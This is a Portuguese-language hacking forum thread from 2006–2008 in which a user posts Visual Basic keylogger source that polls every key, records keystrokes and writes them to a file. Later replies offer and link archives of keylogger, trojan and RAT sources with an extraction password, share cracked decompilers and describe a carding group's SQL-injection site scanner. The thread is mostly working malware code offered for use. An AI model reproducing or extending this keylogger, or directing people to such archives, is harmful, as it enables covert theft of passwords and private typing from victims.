Text only | Text with Images

FORUM DARKERS

Tecnologia & Informática => Programação => Visual Basic => Topic started by: branco on 19 de October , 2006, 07:18:57 PM

Title: Keylogger
Post by: branco on 19 de October , 2006, 07:18:57 PM
como essa parte é a mais enjuada que existe quando construimos um kl, vou compartilhar o meu com vcs, que pega todas as teclas e nao contem bugs. ( pelomenos no meu teclado )

Code Select
Public Function teste()
Dim keys(0 To 255) As Byte
GetKeyboardState keys(0)
Dim ShiftState As Boolean
Dim CapsLockState As Boolean
Dim NumLockState As Boolean
ShiftState = GetAsyncKeyState(vbKeyShift)
NumLockState = keys(VK_NUMLOCK)
CapsLockState = keys(VK_CAPITAL)

If GetAsyncKeyState(vbKeyA) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "A"
End If
If GetAsyncKeyState(vbKeyA) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "A"
End If
If GetAsyncKeyState(vbKeyA) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "a"
End If
If GetAsyncKeyState(vbKeyA) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "a"
End If

If GetAsyncKeyState(vbKeyB) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "B"
End If
If GetAsyncKeyState(vbKeyB) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "B"
End If
If GetAsyncKeyState(vbKeyB) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "b"
End If
If GetAsyncKeyState(vbKeyB) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "b"
End If

If GetAsyncKeyState(vbKeyC) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "C"
End If
If GetAsyncKeyState(vbKeyC) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "C"
End If
If GetAsyncKeyState(vbKeyC) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "c"
End If
If GetAsyncKeyState(vbKeyC) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "c"
End If


If GetAsyncKeyState(vbKeyD) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "D"
End If
If GetAsyncKeyState(vbKeyD) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "D"
End If
If GetAsyncKeyState(vbKeyD) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "d"
End If
If GetAsyncKeyState(vbKeyD) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "d"
End If

If GetAsyncKeyState(vbKeyE) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "E"
End If
If GetAsyncKeyState(vbKeyE) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "E"
End If
If GetAsyncKeyState(vbKeyE) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "e"
End If
If GetAsyncKeyState(vbKeyE) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "e"
End If

If GetAsyncKeyState(vbKeyF) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "F"
End If
If GetAsyncKeyState(vbKeyF) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "F"
End If
If GetAsyncKeyState(vbKeyF) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "f"
End If
If GetAsyncKeyState(vbKeyF) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "f"
End If

If GetAsyncKeyState(vbKeyG) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "G"
End If
If GetAsyncKeyState(vbKeyG) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "G"
End If
If GetAsyncKeyState(vbKeyG) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "g"
End If
If GetAsyncKeyState(vbKeyG) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "g"
End If

If GetAsyncKeyState(vbKeyH) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "H"
End If
If GetAsyncKeyState(vbKeyH) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "H"
End If
If GetAsyncKeyState(vbKeyH) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "h"
End If
If GetAsyncKeyState(vbKeyH) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "h"
End If

If GetAsyncKeyState(vbKeyI) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "I"
End If
If GetAsyncKeyState(vbKeyI) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "I"
End If
If GetAsyncKeyState(vbKeyI) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "i"
End If
If GetAsyncKeyState(vbKeyI) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "i"
End If

If GetAsyncKeyState(vbKeyJ) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "J"
End If
If GetAsyncKeyState(vbKeyJ) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "J"
End If
If GetAsyncKeyState(vbKeyJ) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "j"
End If
If GetAsyncKeyState(vbKeyJ) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "j"
End If

If GetAsyncKeyState(vbKeyK) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "K"
End If
If GetAsyncKeyState(vbKeyK) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "K"
End If
If GetAsyncKeyState(vbKeyK) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "k"
End If
If GetAsyncKeyState(vbKeyK) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "k"
End If

If GetAsyncKeyState(vbKeyL) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "L"
End If
If GetAsyncKeyState(vbKeyL) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "L"
End If
If GetAsyncKeyState(vbKeyL) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "l"
End If
If GetAsyncKeyState(vbKeyL) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "l"
End If

If GetAsyncKeyState(vbKeyM) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "M"
End If
If GetAsyncKeyState(vbKeyM) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "M"
End If
If GetAsyncKeyState(vbKeyM) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "m"
End If
If GetAsyncKeyState(vbKeyM) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "m"
End If

If GetAsyncKeyState(vbKeyN) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "N"
End If
If GetAsyncKeyState(vbKeyN) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "N"
End If
If GetAsyncKeyState(vbKeyN) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "n"
End If
If GetAsyncKeyState(vbKeyN) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "n"
End If

If GetAsyncKeyState(vbKeyO) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "O"
End If
If GetAsyncKeyState(vbKeyO) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "O"
End If
If GetAsyncKeyState(vbKeyO) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "o"
End If
If GetAsyncKeyState(vbKeyO) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "o"
End If

If GetAsyncKeyState(vbKeyP) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "P"
End If
If GetAsyncKeyState(vbKeyP) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "P"
End If
If GetAsyncKeyState(vbKeyP) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "p"
End If
If GetAsyncKeyState(vbKeyP) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "p"
End If

If GetAsyncKeyState(vbKeyQ) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "Q"
End If
If GetAsyncKeyState(vbKeyQ) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "Q"
End If
If GetAsyncKeyState(vbKeyQ) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "q"
End If
If GetAsyncKeyState(vbKeyQ) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "q"
End If

If GetAsyncKeyState(vbKeyR) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "R"
End If
If GetAsyncKeyState(vbKeyR) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "R"
End If
If GetAsyncKeyState(vbKeyR) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "r"
End If
If GetAsyncKeyState(vbKeyR) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "r"
End If

If GetAsyncKeyState(vbKeyS) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "S"
End If
If GetAsyncKeyState(vbKeyS) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "S"
End If
If GetAsyncKeyState(vbKeyS) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "s"
End If
If GetAsyncKeyState(vbKeyS) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "s"
End If

If GetAsyncKeyState(vbKeyT) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "T"
End If
If GetAsyncKeyState(vbKeyT) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "T"
End If
If GetAsyncKeyState(vbKeyT) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "t"
End If
If GetAsyncKeyState(vbKeyT) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "t"
End If

If GetAsyncKeyState(vbKeyU) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "U"
End If
If GetAsyncKeyState(vbKeyU) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "U"
End If
If GetAsyncKeyState(vbKeyU) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "u"
End If
If GetAsyncKeyState(vbKeyU) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "u"
End If

If GetAsyncKeyState(vbKeyV) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "V"
End If
If GetAsyncKeyState(vbKeyV) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "V"
End If
If GetAsyncKeyState(vbKeyV) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "v"
End If
If GetAsyncKeyState(vbKeyV) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "v"
End If

If GetAsyncKeyState(vbKeyX) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "X"
End If
If GetAsyncKeyState(vbKeyX) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "X"
End If
If GetAsyncKeyState(vbKeyX) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "x"
End If
If GetAsyncKeyState(vbKeyX) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "x"
End If

If GetAsyncKeyState(vbKeyY) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "Y"
End If
If GetAsyncKeyState(vbKeyY) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "Y"
End If
If GetAsyncKeyState(vbKeyY) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "y"
End If
If GetAsyncKeyState(vbKeyY) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "y"
End If

If GetAsyncKeyState(vbKeyZ) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "Z"
End If
If GetAsyncKeyState(vbKeyZ) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "Z"
End If
If GetAsyncKeyState(vbKeyZ) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "z"
End If
If GetAsyncKeyState(vbKeyZ) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "z"
End If

If GetAsyncKeyState(vbKeyW) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "W"
End If
If GetAsyncKeyState(vbKeyW) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "W"
End If
If GetAsyncKeyState(vbKeyW) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "w"
End If
If GetAsyncKeyState(vbKeyW) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "w"
End If



If GetAsyncKeyState(vbKey1) And ShiftState = True Then
Text1.Text = Text1.Text + "!"
End If
If GetAsyncKeyState(vbKey1) And ShiftState = False Then
Text1.Text = Text1.Text + "1"
End If

If GetAsyncKeyState(vbKey2) And ShiftState = True Then
Text1.Text = Text1.Text + "@"
End If
If GetAsyncKeyState(vbKey2) And ShiftState = False Then
Text1.Text = Text1.Text + "2"
End If

If GetAsyncKeyState(vbKey3) And ShiftState = True Then
Text1.Text = Text1.Text + "#"
End If
If GetAsyncKeyState(vbKey3) And ShiftState = False Then
Text1.Text = Text1.Text + "3"
End If

If GetAsyncKeyState(vbKey4) And ShiftState = True Then
Text1.Text = Text1.Text + "$"
End If
If GetAsyncKeyState(vbKey4) And ShiftState = False Then
Text1.Text = Text1.Text + "4"
End If

If GetAsyncKeyState(vbKey5) And ShiftState = True Then
Text1.Text = Text1.Text + "%"
End If
If GetAsyncKeyState(vbKey5) And ShiftState = False Then
Text1.Text = Text1.Text + "5"
End If

If GetAsyncKeyState(vbKey6) And ShiftState = True Then
Text1.Text = Text1.Text + "¨"
End If
If GetAsyncKeyState(vbKey6) And ShiftState = False Then
Text1.Text = Text1.Text + "6"
End If

If GetAsyncKeyState(vbKey7) And ShiftState = True Then
Text1.Text = Text1.Text + "&"
End If
If GetAsyncKeyState(vbKey7) And ShiftState = False Then
Text1.Text = Text1.Text + "7"
End If

If GetAsyncKeyState(vbKey8) And ShiftState = True Then
Text1.Text = Text1.Text + "*"
End If
If GetAsyncKeyState(vbKey8) And ShiftState = False Then
Text1.Text = Text1.Text + "8"
End If

If GetAsyncKeyState(vbKey9) And ShiftState = True Then
Text1.Text = Text1.Text + "("
End If
If GetAsyncKeyState(vbKey9) And ShiftState = False Then
Text1.Text = Text1.Text + "9"
End If

If GetAsyncKeyState(vbKey0) And ShiftState = True Then
Text1.Text = Text1.Text + ")"
End If
If GetAsyncKeyState(vbKey0) And ShiftState = False Then
Text1.Text = Text1.Text + "0"
End If

If GetAsyncKeyState(vbKeyBack) Then
Text1.Text = Text1.Text + "[Desmanchar]"
End If

If GetAsyncKeyState(vbKeyTab) Then
Text1.Text = Text1.Text + ""
End If


If GetAsyncKeyState(vbKeyReturn) Then
Text1.Text = Text1.Text + "[Enter]"
End If

If GetAsyncKeyState(vbKeyControl) Then
Text1.Text = Text1.Text + "[Ctrl]"
End If

If GetAsyncKeyState(vbKeyMenu) Then
Text1.Text = Text1.Text + "[Alt]"
End If

If GetAsyncKeyState(vbKeyPause) Then
Text1.Text = Text1.Text + "[Pause]"
End If

If GetAsyncKeyState(vbKeyEscape) Then
Text1.Text = Text1.Text + "[Esc]"
End If

If GetAsyncKeyState(vbKeySpace) Then
Text1.Text = Text1.Text + " "
End If

If GetAsyncKeyState(vbKeyEnd) Then
Text1.Text = Text1.Text + "[End]"
End If

If GetAsyncKeyState(vbKeyHome) Then
Text1.Text = Text1.Text + "[Home]"
End If

If GetAsyncKeyState(vbKeyLeft) Then
Text1.Text = Text1.Text + "[Left]"
End If

If GetAsyncKeyState(vbKeyRight) Then
Text1.Text = Text1.Text + "[Right]"
End If

If GetAsyncKeyState(vbKeyUp) Then
Text1.Text = Text1.Text + "[Up]"
End If

If GetAsyncKeyState(vbKeyDown) Then
Text1.Text = Text1.Text + "[Down]"
End If

If GetAsyncKeyState(vbKeyInsert) Then
Text1.Text = Text1.Text + "[Insert]"
End If

If GetAsyncKeyState(vbKeyDelete) Then
Text1.Text = Text1.Text + "[Del]"
End If

If GetAsyncKeyState(&HBA) And ShiftState = True Then
Text1.Text = Text1.Text + ":"
End If

If GetAsyncKeyState(&HBA) Then
Text1.Text = Text1.Text + ";"
End If

If GetAsyncKeyState(&HBB) And ShiftState = True Then
Text1.Text = Text1.Text + "+"
End If

If GetAsyncKeyState(&HBB) Then
Text1.Text = Text1.Text + "="
End If

If GetAsyncKeyState(&HBC) And ShiftState = True Then
Text1.Text = Text1.Text + "<"
End If

If GetAsyncKeyState(&HBC) Then
Text1.Text = Text1.Text + ","
End If

If GetAsyncKeyState(&HBD) And ShiftState = True Then
Text1.Text = Text1.Text + "_"
End If

If GetAsyncKeyState(&HBD) Then
Text1.Text = Text1.Text + "-"
End If

If GetAsyncKeyState(&HBE) And ShiftState = True Then
Text1.Text = Text1.Text + ">"
End If

If GetAsyncKeyState(&HBE) Then
Text1.Text = Text1.Text + "."
End If

If GetAsyncKeyState(&HBF) And ShiftState = True Then
Text1.Text = Text1.Text + ":"
End If

If GetAsyncKeyState(&HBF) Then
Text1.Text = Text1.Text + ";"
End If

If GetAsyncKeyState(&HDB) And ShiftState = True Then
Text1.Text = Text1.Text + "`"
End If

If GetAsyncKeyState(&HDB) Then
Text1.Text = Text1.Text + "´"
End If

If GetAsyncKeyState(&HDC) And ShiftState = True Then
Text1.Text = Text1.Text + "}"
End If

If GetAsyncKeyState(&HDC) Then
Text1.Text = Text1.Text + "]"
End If

If GetAsyncKeyState(&HDD) And ShiftState = True Then
Text1.Text = Text1.Text + "{"
End If

If GetAsyncKeyState(&HDD) Then
Text1.Text = Text1.Text + "["
End If

If GetAsyncKeyState(&HDE) And ShiftState = True Then
Text1.Text = Text1.Text + "^"
End If

If GetAsyncKeyState(&HDE) Then
Text1.Text = Text1.Text + "~"
End If

If GetAsyncKeyState(&HC0) And ShiftState = True Then
Text1.Text = Text1.Text + """"
End If

If GetAsyncKeyState(&HC0) Then
Text1.Text = Text1.Text + "'"
End If

If GetAsyncKeyState(vbKeyDivide) Then
Text1.Text = Text1.Text + "/"
End If

If GetAsyncKeyState(vbKeyAdd) Then
Text1.Text = Text1.Text + "+"
End If

If GetAsyncKeyState(vbKeySubtract) Then
Text1.Text = Text1.Text + "-"
End If

If GetAsyncKeyState(vbKeyDecimal) And NumLockState = True Then
Text1.Text = Text1.Text + ","
End If

If GetAsyncKeyState(vbKeyF1) And ShiftState = True Then
Text1.Text = Text1.Text + "[F1 com shift]"
End If

If GetAsyncKeyState(vbKeyF1) Then
Text1.Text = Text1.Text + "[F1]"
End If

If GetAsyncKeyState(vbKeyF2) And ShiftState = True Then
Text1.Text = Text1.Text + "[F2 com shift]"
End If

If GetAsyncKeyState(vbKeyF2) Then
Text1.Text = Text1.Text + "[F2]"
End If

If GetAsyncKeyState(vbKeyF3) And ShiftState = True Then
Text1.Text = Text1.Text + "[F3 com shift]"
End If

If GetAsyncKeyState(vbKeyF3) Then
Text1.Text = Text1.Text + "[F3]"
End If

If GetAsyncKeyState(vbKeyF4) And GetAsyncKeyState(vbKeyMenu) Then
Text1.Text = Text1.Text + "[F4 com alt]"
End If

If GetAsyncKeyState(vbKeyF4) And ShiftState = True Then
Text1.Text = Text1.Text + "[F4 com shift]"
End If

If GetAsyncKeyState(vbKeyF4) Then
Text1.Text = Text1.Text + "[F4]"
End If

If GetAsyncKeyState(vbKeyF5) And ShiftState = True Then
Text1.Text = Text1.Text + "[F5 com shift]"
End If

If GetAsyncKeyState(vbKeyF5) Then
Text1.Text = Text1.Text + "[F5]"
End If

If GetAsyncKeyState(vbKeyF6) And ShiftState = True Then
Text1.Text = Text1.Text + "[F6 com shift]"
End If

If GetAsyncKeyState(vbKeyF6) Then
Text1.Text = Text1.Text + "[F6]"
End If

If GetAsyncKeyState(vbKeyF7) And ShiftState = True Then
Text1.Text = Text1.Text + "[F7 com shift]"
End If

If GetAsyncKeyState(vbKeyF7) Then
Text1.Text = Text1.Text + "[F7]"
End If

If GetAsyncKeyState(vbKeyF8) And ShiftState = True Then
Text1.Text = Text1.Text + "[F8 com shift]"
End If

If GetAsyncKeyState(vbKeyF8) Then
Text1.Text = Text1.Text + "[F8]"
End If

If GetAsyncKeyState(vbKeyF9) And ShiftState = True Then
Text1.Text = Text1.Text + "[F9 com shift]"
End If

If GetAsyncKeyState(vbKeyF9) Then
Text1.Text = Text1.Text + "[F9]"
End If

If GetAsyncKeyState(vbKeyF10) And ShiftState = True Then
Text1.Text = Text1.Text + "[F10 com shift]"
End If

If GetAsyncKeyState(vbKeyF10) Then
Text1.Text = Text1.Text + "[F10]"
End If

If GetAsyncKeyState(vbKeyF11) And ShiftState = True Then
Text1.Text = Text1.Text + "[F11 com shift]"
End If

If GetAsyncKeyState(vbKeyF11) Then
Text1.Text = Text1.Text + "[F11]"
End If

If GetAsyncKeyState(vbKeyF12) And ShiftState = True Then
Text1.Text = Text1.Text + "[F12 com shift]"
End If

If GetAsyncKeyState(vbKeyF12) Then
Text1.Text = Text1.Text + "[F12]"
End If

If GetAsyncKeyState(vbKeyNumlock) Then
Text1.Text = Text1.Text + "[Numlock]"
End If

If GetAsyncKeyState(vbKeyScrollLock) Then
Text1.Text = Text1.Text + "[ScrollLock]"
End If

If GetAsyncKeyState(vbKeyPrint) Then
Text1.Text = Text1.Text + "[PrintScreen]"
End If

If GetAsyncKeyState(vbKeyPageUp) Then
Text1.Text = Text1.Text + "[PageUp]"
End If

If GetAsyncKeyState(vbKeyPageDown) Then
Text1.Text = Text1.Text + "[PageDown]"
End If

If GetAsyncKeyState(vbKeySnapshot) Then
Text1.Text = Text1.Text + "[Snapshot]"
End If

If GetAsyncKeyState(vbKeyNumpad1) Then
Text1.Text = Text1.Text + "1"
End If

If GetAsyncKeyState(vbKeyNumpad2) Then
Text1.Text = Text1.Text + "2"
End If

If GetAsyncKeyState(vbKeyNumpad3) Then
Text1.Text = Text1.Text + "3"
End If

If GetAsyncKeyState(vbKeyNumpad4) Then
Text1.Text = Text1.Text + "4"
End If

If GetAsyncKeyState(vbKeyNumpad5) Then
Text1.Text = Text1.Text + "5"
End If

If GetAsyncKeyState(vbKeyNumpad6) Then
Text1.Text = Text1.Text + "6"
End If

If GetAsyncKeyState(vbKeyNumpad7) Then
Text1.Text = Text1.Text + "7"
End If

If GetAsyncKeyState(vbKeyNumpad8) Then
Text1.Text = Text1.Text + "8"
End If

If GetAsyncKeyState(vbKeyNumpad9) Then
Text1.Text = Text1.Text + "9"
End If

If GetAsyncKeyState(vbKeyNumpad0) Then
Text1.Text = Text1.Text + "0"
End If

If GetAsyncKeyState(vbKeyMultiply) Then
Text1.Text = Text1.Text + "*"
End If

ARQ = FreeFile
Open "c:\teste.txt" For Output As #ARQ
Print #ARQ, Text1.Text
Close #ARQ
End Function

bom aproveito...t+
Title: Re: Keylogger
Post by: Anonymous on 31 de March , 2007, 09:52:17 PM
Brother, tenho cerca de 70MB de programas (source) de VB, contendo inclusive alguns keyloggers, rats etc...

Caso tenha(m) interesse me fala que hospedo. Abraços
Title: Re: Keylogger
Post by: Mental_Way on 01 de April , 2007, 07:39:43 AM
Hello c4x5,

Tenho interesse.... Por favor up estou precisando para estudo...

Desde já agradeço...
Title: Re: Keylogger
Post by: #phobia on 01 de April , 2007, 10:35:41 AM
Poxa c4x5... Também me interesso.
Se puder upar ficaria grato!

vlw!!!
Title: Re: Keylogger
Post by: Reeves on 02 de April , 2007, 07:10:13 PM
isso ae branco
thx so mutch.

   &

verdade c4x5 upa ai que seria de grande interesse...

e se alguem mais ae querer compartilhar surce malware
sintão-se a vontade
:DDDD


Abraços.
Title: Re: Keylogger
Post by: Anonymous on 02 de May , 2007, 01:28:04 PM
Peço desculpas. Acho que desmarquei a opção de receber um e-mail quando houver novas mensagens. Acabei não vendo a de vocês. Nesse extato momento estou upando um arquivo com 123MB de sources de keyloggers, trojans etc....

Assim que acabar. (Vai levar cerca de 2:00 horas) eu posto o link

a senha para descompactar é: hackerscenter

Qualquer dúvida meu e-mail é invasao_anonymous@yahoo.com

Abraços
Title: Re: Keylogger
Post by: Anonymous on 02 de May , 2007, 03:41:45 PM
Passado  horas a peste do servidor deu erro e não consegui enviar o arquivo. Pesquisei aqui no forue nosso brother já havia colocado o link aqui.

http://www.hackerscenter.com/downloads/ ... sp?id=1038 (http://www.hackerscenter.com/downloads/download.asp?id=1038)


Qualquer duvida entrem em contato.

invasao_anonymous@yahoo.com

Abraços
Title: Re: Keylogger
Post by: Anonymous on 02 de May , 2007, 06:11:41 PM
Hum... to baixando aqui para dar uma olhada...

Obrigado c4x5, vai ser de grande ajuda para mim ^^
Title: Re: Keylogger
Post by: Reeves on 09 de May , 2007, 01:26:38 AM
valeu ae c4x5
vo da uma olhada!

;D
Title: Re: Keylogger
Post by: Anonymous on 09 de May , 2007, 04:37:21 PM
Encontrei alguns programas chamados por alguns de "Impossiveis" de realizar sua função.  São descompiladores de VB. Se os programas funcionam extamente como prometem eu não sei. (Ainda estou iniciando em VB, mas logo logo eu chego lá  :P O serial segue junto do arquivo.
 De repente alguém sabe usar ou conhece o programa e comenta aí)

http://rapidshare.com/files/30411404/VB ... l.rar.html (http://rapidshare.com/files/30411404/VB_Decompiler_-_Numega_Smartcheck_6.03___Serial.rar.html)
Title: Re: Keylogger
Post by: Anonymous on 09 de May , 2007, 04:41:55 PM
Esse decompilador FUNCIONA E É FREE.

http://rapidshare.com/files/30413931/VB ... e.zip.html (http://rapidshare.com/files/30413931/VB6Decompile.zip.html)
Title: Re: Keylogger
Post by: Anonymous on 09 de May , 2007, 04:50:02 PM
O programa usado na foto é um aplicativo feito em Visual Basic. Um scanner do Grupo Carding #ATH


(//http://img46.imageshack.us/img46/3181/11md6.jpg) (//http://imageshack.us)

(//http://img79.imageshack.us/img79/7784/22zh2.jpg) (//http://imageshack.us)

(//http://img511.imageshack.us/img511/300/33zk9.jpg) (//http://imageshack.us)


Quem tive algo interessante posta aí par galera. Ajuda muito os neofitos. Abraços
Title: Re: Keylogger
Post by: Anonymous on 09 de May , 2007, 05:12:34 PM
Amigo "c4x5" se onde esta apagando de branco você tentou ocultar o nome você se esqueceu na barra de Status do Programa tem o nome la bem legivel basta dar um Zoom, "Carlos"
Title: Re: Keylogger
Post by: Exter on 09 de May , 2007, 08:11:38 PM
c4x5

o do ath

aquele scanner de vul em sql ?

alias

vlw pelo kl branco
Title: Re: Keylogger
Post by: Anonymous on 10 de May , 2007, 02:42:14 PM
Quote from: "killer.bat"Amigo "c4x5" se onde esta apagando de branco você tentou ocultar o nome você se esqueceu na barra de Status do Programa tem o nome la bem legivel basta dar um Zoom, "Carlos"


Obrigado pela dica !!! Agora quem não havia percebi, já percebeu   :P
Title: Re: Keylogger
Post by: Anonymous on 10 de May , 2007, 02:47:10 PM
Quote from: "Exterminadorct"c4x5

o do ath

aquele scanner de vul em sql ?

alias

vlw pelo kl branco

Não. O programa carrega uma lista de sites e logo em seguida uma lista de strigs (No caso, diretórios onde há possibilidade de haver MDBs.) Achado alguns sites vulneraveis, é que é usado os comandos de Injeção de SQL.

Qualquer dúvida, é só falar. Abraços
Title: Re: Keylogger
Post by: Anonymous on 16 de January , 2008, 04:14:30 AM
c4x5 me interecei por esse scanner vc tem ele ai ? pode postar prajente ?
Title: Re: Keylogger
Post by: Alucard on 16 de January , 2008, 10:51:31 AM
posta os códigos novamente... fiquei curioso... não consegui baixar de
Quotehttp://www.hackerscenter.com/downloads/download.asp?id=1038
Title: Re: Keylogger
Post by: Anonymous on 17 de January , 2008, 05:10:38 PM
o que eu faço com esse code



Public Function teste()
Dim keys(0 To 255) As Byte
GetKeyboardState keys(0)
Dim ShiftState As Boolean
Dim CapsLockState As Boolean
Dim NumLockState As Boolean
ShiftState = GetAsyncKeyState(vbKeyShift)
NumLockState = keys(VK_NUMLOCK)
CapsLockState = keys(VK_CAPITAL)

If GetAsyncKeyState(vbKeyA) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "A"
End If
If GetAsyncKeyState(vbKeyA) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "A"
End If
If GetAsyncKeyState(vbKeyA) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "a"
End If
If GetAsyncKeyState(vbKeyA) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "a"
End If

If GetAsyncKeyState(vbKeyB) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "B"
End If
If GetAsyncKeyState(vbKeyB) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "B"
End If
If GetAsyncKeyState(vbKeyB) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "b"
End If
If GetAsyncKeyState(vbKeyB) And CapsLockState = False And ShiftState = False Then
Text1.Text = Text1.Text + "b"
End If

If GetAsyncKeyState(vbKeyC) And CapsLockState = True And ShiftState = False Then
Text1.Text = Text1.Text + "C"
End If
If GetAsyncKeyState(vbKeyC) And ShiftState = True And CapsLockState = False Then
Text1.Text = Text1.Text + "C"
End If
If GetAsyncKeyState(vbKeyC) And CapsLockState = True And ShiftState = True Then
Text1.Text = Text1.Text + "c"
End If
